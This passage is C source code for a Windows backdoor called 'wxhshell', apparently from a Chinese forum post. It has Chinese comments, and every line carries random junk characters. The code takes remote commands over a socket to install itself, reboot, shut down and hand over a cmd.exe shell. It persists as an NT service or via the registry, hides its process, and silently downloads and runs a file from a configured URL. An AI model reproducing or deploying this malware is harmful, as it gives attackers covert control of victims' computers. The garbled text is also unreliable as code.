    switch(cmd[0]) { 6A& f  
  Y Hv85y  
  // 帮助 q(yw,]h]{  
  case '?': { X;ZR"YgT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "kjjq~l  
    break; &n:F])`2  
  } yv<0fQ  
  // 安装  o2ndnIL  
  case 'i': {  -'|pt,)  
    if(Install()) :>[;XT<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5)yQrS !{:  
    else sQS2U6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~4mgYzOmD`  
    break; .#;;pu7W  
    } fodr1M4J  
  // 卸载 ?7cF_Zvve  
  case 'r': { M9@#W"  
    if(Uninstall()) M#qZ0JT4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *S.2p*Vd  
    else ^J>jU`)CJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6#k Ap+g7  
    break; 4565U  
    } swVq%]')"  
  // 显示 wxhshell 所在路径 96Tc:#9i  
  case 'p': { Dc[Qu? ]LM  
    char svExeFile[MAX_PATH]; t p.qh]2c  
    strcpy(svExeFile,"\n\r"); '* +]&~b  
      strcat(svExeFile,ExeFile); wo[W1?|s  
        send(wsh,svExeFile,strlen(svExeFile),0); 8fdK|l w  
    break; %&"_=Lc  
    } &:-`3J-  
  // 重启 d%9r"=/  
  case 'b': { NdQXQa?,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2I'\o7Y  
    if(Boot(REBOOT)) Wv"[,5 Z13  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Z7oPq6  
    else { 0n_Cuh\  
    closesocket(wsh); VPf*>ph=  
    ExitThread(0); (o\:rLZu  
    } '7W?VipU  
    break; x]k^JPX  
    } M)#R_(Q5{  
  // 关机 Ox&g#,@h  
  case 'd': { R9yK"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O;:8mm%(  
    if(Boot(SHUTDOWN)) ^AD/N|X^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'MM#nQ\(  
    else { 2D MH@U2  
    closesocket(wsh); ~R)Km`t  
    ExitThread(0); S&V5zB""n  
    } }d)>pH  
    break; Z\{WBUR;4t  
    } )4a&OlEI  
  // 获取shell CPGXwM=   
  case 's': { e@L'H)w,  
    CmdShell(wsh); H#G~b""mY  
    closesocket(wsh); 11 .RG *  
    ExitThread(0); HqU"i Y>b  
    break; 3;j?i<kM  
  } }_M .-Xm  
  // 退出 +6f5uMKUvs  
  case 'x': { ''wWw(2O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FI~)ZhE)]  
    CloseIt(wsh); QHsS|\u  
    break; jjz<V(Sk  
    } "31GC7  
  // 离开 mYb8   
  case 'q': { jo<[|ZD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9\Mesf1$o  
    closesocket(wsh); FQ?H%UcW  
    WSACleanup(); P7 E}^y`e  
    exit(1); [(`T*c.#.X  
    break; d?&?$qf[  
        } L"tj DAV  
  } ^?toTU   
  } _q=$L eO5  
/Yx 1S'5  
  // 提示信息 mxQS9y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s+^o[R T3  
} >lyUr*4PX  
  } mb?DnP,z  
k KL^U  
  return; (J<@e!@NE  
} )u ]<8  
Tc\^=e^N?  
// shell模块句柄 ,q/K&'0`  
int CmdShell(SOCKET sock) G+'MTC_  
{ $K,rVTU  
STARTUPINFO si; $&k2m^R<  
ZeroMemory(&si,sizeof(si)); E[htNin.B~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S,3e|-&$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^$_ifkkLz  
PROCESS_INFORMATION ProcessInfo; +]CKu$,8  
char cmdline[]="cmd"; IVkKmO(qO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bR*T}w$<  
  return 0; $z{HNY* 2  
} QD<^VY6  
!V@Y \M d  
// 自身启动模式 cWp n/.a  
int StartFromService(void) Iu(T@",Q#  
{ N!"GwH  
typedef struct KL.{)bi  
{ v>)[NAY9  
  DWORD ExitStatus; +tkd($//  
  DWORD PebBaseAddress; m3 (fr  
  DWORD AffinityMask; M5exo   
  DWORD BasePriority; 2v`VtV|B  
  ULONG UniqueProcessId; VuJth  
  ULONG InheritedFromUniqueProcessId;  mbd  
}   PROCESS_BASIC_INFORMATION; Ps<)?q6(  
{)ZbOq2  
PROCNTQSIP NtQueryInformationProcess; Zu\#;O   
V>A@Sw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zmf5!77  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A>OL5TCl  
xJ>hN@5}i  
  HANDLE             hProcess; WqY:XE+?\  
  PROCESS_BASIC_INFORMATION pbi; ;csAhkf:S  
xYM/{[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^lRXc.c z  
  if(NULL == hInst ) return 0; x}N+vK   
>|@ /GpD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f5wOk& G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1uMnlimr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >V87#E  
-&))$h3o\  
  if (!NtQueryInformationProcess) return 0; AUS?P t[w  
N.xmHvPk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  wx o(  
  if(!hProcess) return 0; l%fnGe` _  
StP6G ]x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fBD5K3  
)/bt/,M&}  
  CloseHandle(hProcess); |KU>+4= @  
}[D~#Z!k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3$l'>v+5{  
if(hProcess==NULL) return 0; / )5B  
>0@X^o  
HMODULE hMod; Gk799SDL  
char procName[255]; t ~U&a9&Z  
unsigned long cbNeeded; fn#b3ee  
"Oh-`C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $CL=M  
Yq`r>g  
  CloseHandle(hProcess); #5G!lbH  
I.y|AQB  
if(strstr(procName,"services")) return 1; // 以服务启动 e#kPf 'gL  
E;VW6[M  
  return 0; // 注册表启动 79:x>i=  
} JZu7Fb]L9  
\)y5~te*  
// 主模块 a_QO)  
int StartWxhshell(LPSTR lpCmdLine) w|?Nq?KA  
{ NqhRJa63  
  SOCKET wsl; R\0]\JEc  
BOOL val=TRUE; ] =>vv;L  
  int port=0; ;?zb (2  
  struct sockaddr_in door;  >?U (w<  
O~fRcf:Q  
  if(wscfg.ws_autoins) Install(); ,a^_ ~(C  
bi KpV? Dp  
port=atoi(lpCmdLine); I7BfA,mZ7  
/o8`I m   
if(port<=0) port=wscfg.ws_port; [^ 7^&/0  
<&l3bL  
  WSADATA data; W.zA1S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4X#>;  
Pm+H!x,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z56W5g2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *tz"T-6O  
  door.sin_family = AF_INET; 'OBA nE<.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K{M_ 4'\  
  door.sin_port = htons(port); E# e=<R  
,E)bS7W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &giJO-^ f  
closesocket(wsl); $vGl Z<3g  
return 1; #MGZje,I  
} SGNi~o  
qUpMq:Uw  
  if(listen(wsl,2) == INVALID_SOCKET) {  @tDVW *!  
closesocket(wsl); z?j~ 2K<4  
return 1; 4"l(rg  
} bhe|q`1,E  
  Wxhshell(wsl); I \ vu?$w  
  WSACleanup(); 6G@_!i*2F  
"-ZuH   
return 0; v`y{l>r,  
l4;/[Q>Z  
} sHQe0"Eo  
r^*,eF  
// 以NT服务方式启动 {_^sR}%]F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hs<7(+a  
{ n2(~r 'r)  
DWORD   status = 0; mqq~&nI  
  DWORD   specificError = 0xfffffff; [uAfE3  
a}jaxGy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tJHzhH)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;K$E;ZhPN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]0m4esK`  
  serviceStatus.dwWin32ExitCode     = 0; VCbnS191*  
  serviceStatus.dwServiceSpecificExitCode = 0; OWOj|jM  
  serviceStatus.dwCheckPoint       = 0; G;fP  
  serviceStatus.dwWaitHint       = 0; apGf@b  
&)xoR4!2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bmt2~!  
  if (hServiceStatusHandle==0) return; c?<FMb3]  
wG^{Jf&@$  
status = GetLastError(); 5"XcVH4g  
  if (status!=NO_ERROR) oh& P Q{  
{ IWm|6@y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aeH 9:GQ6  
    serviceStatus.dwCheckPoint       = 0; 7|,5;  
    serviceStatus.dwWaitHint       = 0; !R)v2Mk|  
    serviceStatus.dwWin32ExitCode     = status; Q6.},o  
    serviceStatus.dwServiceSpecificExitCode = specificError; \8_&@uLm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l6l)M  
    return; *<Qn)Az  
  } =H!u4  
LAMTf"a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M5 Pvc  
  serviceStatus.dwCheckPoint       = 0; {CQA@p:Y}  
  serviceStatus.dwWaitHint       = 0; lQ! 6n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !u\X,.h  
} `n5 )oU2q  
ZL1[Khr,s  
// 处理NT服务事件,比如:启动、停止 lXv{+ic  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "V?U^L>SF  
{ D_@r_^}  
switch(fdwControl) q'K=Ly+  
{ r%_)7Wk*  
case SERVICE_CONTROL_STOP: 5<ery~q  
  serviceStatus.dwWin32ExitCode = 0; _4.`$n/Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GbStqR~^#  
  serviceStatus.dwCheckPoint   = 0; W J^r~*r  
  serviceStatus.dwWaitHint     = 0; bh uA,}  
  { J,+| Fb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G.T}^ xHmL  
  } sEhdkN}6  
  return; A5?[j QT0  
case SERVICE_CONTROL_PAUSE: nW{7L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GW` 9SB  
  break; p1G!-\l  
case SERVICE_CONTROL_CONTINUE: Mg^GN -l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NbG3^(  
  break; V/762&2X  
case SERVICE_CONTROL_INTERROGATE: \'E%ue_<9  
  break; /0"Y. @L  
}; /o8h1L=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #p=/P{*  
} %Vive2j C  
%3z-^#B=  
// 标准应用程序主函数 zy+|)^E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /pX\)wi  
{ e:!&y\'"9  
t55 '  
// 获取操作系统版本 0QEVL6gw  
OsIsNt=GetOsVer(); Bv!j.$0d{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /Pi{Mv eZM  
=AZ>2P  
  // 从命令行安装 hua{g_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;'R{b$B;|  
u]"oGJj1  
  // 下载执行文件 JsVW:8QO~  
if(wscfg.ws_downexe) { PN0:,.4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ic?6p  
  WinExec(wscfg.ws_filenam,SW_HIDE); lh8`.sWk4V  
} mm:\a-8j  
vxZz9+UbF  
if(!OsIsNt) { 2hmV 1gj  
// 如果时win9x,隐藏进程并且设置为注册表启动 >KM<P[BRd  
HideProc(); In^$+l%O[  
StartWxhshell(lpCmdLine); \gj@O5rGP  
} }2V|B4  
else 3x 'BMAA+  
  if(StartFromService()) *Swb40L^  
  // 以服务方式启动 b/5;377_  
  StartServiceCtrlDispatcher(DispatchTable); rJ9a@n,  
else GaM#a[p  
  // 普通方式启动 k gWF@"_  
  StartWxhshell(lpCmdLine); ;f0+'W  
Wx;9N  
return 0; >8>`-  
}
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只看该作者 1 发表于: 2006-10-10
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